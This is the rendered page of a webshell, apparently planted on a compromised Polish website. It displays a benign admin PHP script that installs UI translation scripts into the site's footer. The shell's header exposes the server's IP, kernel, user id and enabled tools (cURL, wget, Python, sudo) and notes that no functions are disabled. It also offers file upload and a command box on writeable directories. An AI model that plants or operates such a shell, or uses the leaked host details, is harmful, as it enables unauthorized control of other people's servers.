403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-i18n-v96-install.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__) . '/includes/functions.php';
require_admin_role();
header('Cache-Control: no-store');
header('X-Robots-Tag: noindex,nofollow');
$root=dirname(__DIR__);
$file=$root.'/includes/functions.php';
$marker='<!-- POLANA_I18N_UI_V96 -->';
$include= "{$marker}\n<script src=\"/assets/js/polana-i18n-map-v96.js?v=96\" defer></script>\n<script src=\"/assets/js/polana-i18n-ui-v96.js?v=96\" defer></script>\n";
$backup='';$message='';$error='';
function esc96(string $s): string{return htmlspecialchars($s, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8');}
try {
 if(!is_file($root.'/assets/js/polana-i18n-ui-v96.js')||!is_file($root.'/assets/js/polana-i18n-map-v96.js'))throw new RuntimeException('Najpierw wgraj pliki JS z paczki.');
 if(!is_file($file)||!is_readable($file))throw new RuntimeException('Brak czytelnego includes/functions.php');
 if($_SERVER['REQUEST_METHOD']==='POST'){
  verify_csrf();
  $content=file_get_contents($file);if(!is_string($content))throw new RuntimeException('Blad odczytu.');
  $action=$_POST['action']??'';
  if(!in_array($action,['install','uninstall'],true))throw new RuntimeException('Nieznana operacja');
  if($action==='install'&&str_contains($content,$marker)){$message='Modul jest juz zainstalowany.';}
  elseif($action==='uninstall'&&!str_contains($content,$marker)){$message='Modul juz jest wylaczony.';}
  else {
   if($action==='install'){
    $start=strpos($content,'function render_public_footer');
    $finish=strpos($content,'function render_admin_header');
    if($start===false||$finish===false||$finish<=$start)throw new RuntimeException('Nie rozpoznaje funkcji stopki publicznej. Nie zmieniono zadnego pliku.');
    $before=substr($content,0,$start);
    $public=substr($content,$start,$finish-$start);
    $after=substr($content,$finish);
    if(substr_count($public,'</body>')!==1)throw new RuntimeException('Nie rozpoznaje zamkniecia strony publicznej. Brak zmian.');
    $changed=$before.str_replace('</body>',$include.'</body>',$public).$after;
   } else {
    $changed=str_replace($include,'',$content);
    if($changed===$content)throw new RuntimeException('Nie mozna bezpiecznie usunac bloku, wykonaj rollback kopii.');
   }
   $directory=$root.'/storage/polana-i18n-v96-backup';
   if(!is_dir($directory)&&!mkdir($directory,0700,true)&&!is_dir($directory))throw new RuntimeException('Blad katalogu kopii');
   file_put_contents($directory.'/.htaccess',"Options -Indexes\n<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n<IfModule !mod_authz_core.c>\nDeny from all\n</IfModule>\n",LOCK_EX);
   $backup=$directory.'/functions-'.gmdate('Ymd-His').'-'.bin2hex(random_bytes(3)).'.php.bak';
   if(file_put_contents($backup,$content,LOCK_EX)!==strlen($content))throw new RuntimeException('Nie udalo sie zapisac kopii.');
   if(!is_writable($file))throw new RuntimeException('functions.php bez prawa zapisu; plik oryginalny bez zmian');
   $tmp=$root.'/includes/.polana-v96-'.bin2hex(random_bytes(6)).'.tmp';
   if(file_put_contents($tmp,$changed,LOCK_EX)!==strlen($changed)){@unlink($tmp);throw new RuntimeException('Blad zapisu tymczasowego.');}
   @chmod($tmp,fileperms($file)&0777);
   if(!@rename($tmp,$file)){@unlink($tmp);throw new RuntimeException('Blad podmiany. Oryginal bez zmian.');}
   $message=$action==='install'?'Aktywowano tlumaczenie elementow UI.':'Modul wylaczony.';
  }
 }
} catch(Throwable $e){$error=$e->getMessage();}
$active=is_file($file)&&str_contains((string)@file_get_contents($file),$marker);
?><!doctype html><html lang="pl"><head><meta charset="utf-8"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Polana — UI i18n V9.6</title><style>body{font:16px system-ui;max-width:760px;margin:32px auto;padding:24px;background:#f7f7f4;color:#161b15}article{background:white;border:1px solid #ddd;padding:22px;border-radius:14px}button{background:#91cb34;border:0;border-radius:9px;padding:12px 18px;font-weight:700;cursor:pointer}.bad{color:#ba162c}.good{color:#256122}</style></head><body><article><h1>Polana — UI Translate V9.6</h1><p>Naprawa mieszanych napisow PL/EN/DE/ES w opiniach, newsletterze, stopce i podstawowych przyciskach.</p><p><b>Stan:</b> <?= $active?'Aktywny':'Wylaczony' ?></p><?php if($error):?><p class="bad"><?=esc96($error)?></p><?php endif;?><?php if($message):?><p class="good"><?=esc96($message)?></p><?php endif;?><?php if($backup):?><p>Kopia bezpieczenstwa zostala zapisana poza publiczna sciezka w storage.</p><?php endif;?><form method="post"><?=csrf_field()?><button name="action" value="install">Zainstaluj / aktywuj</button> <button name="action" value="uninstall">Wylacz modul</button></form><p>Po aktywacji wykonaj Ctrl+F5 i sprawdz wersje angielska, niemiecka i hiszpanska.</p></article></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit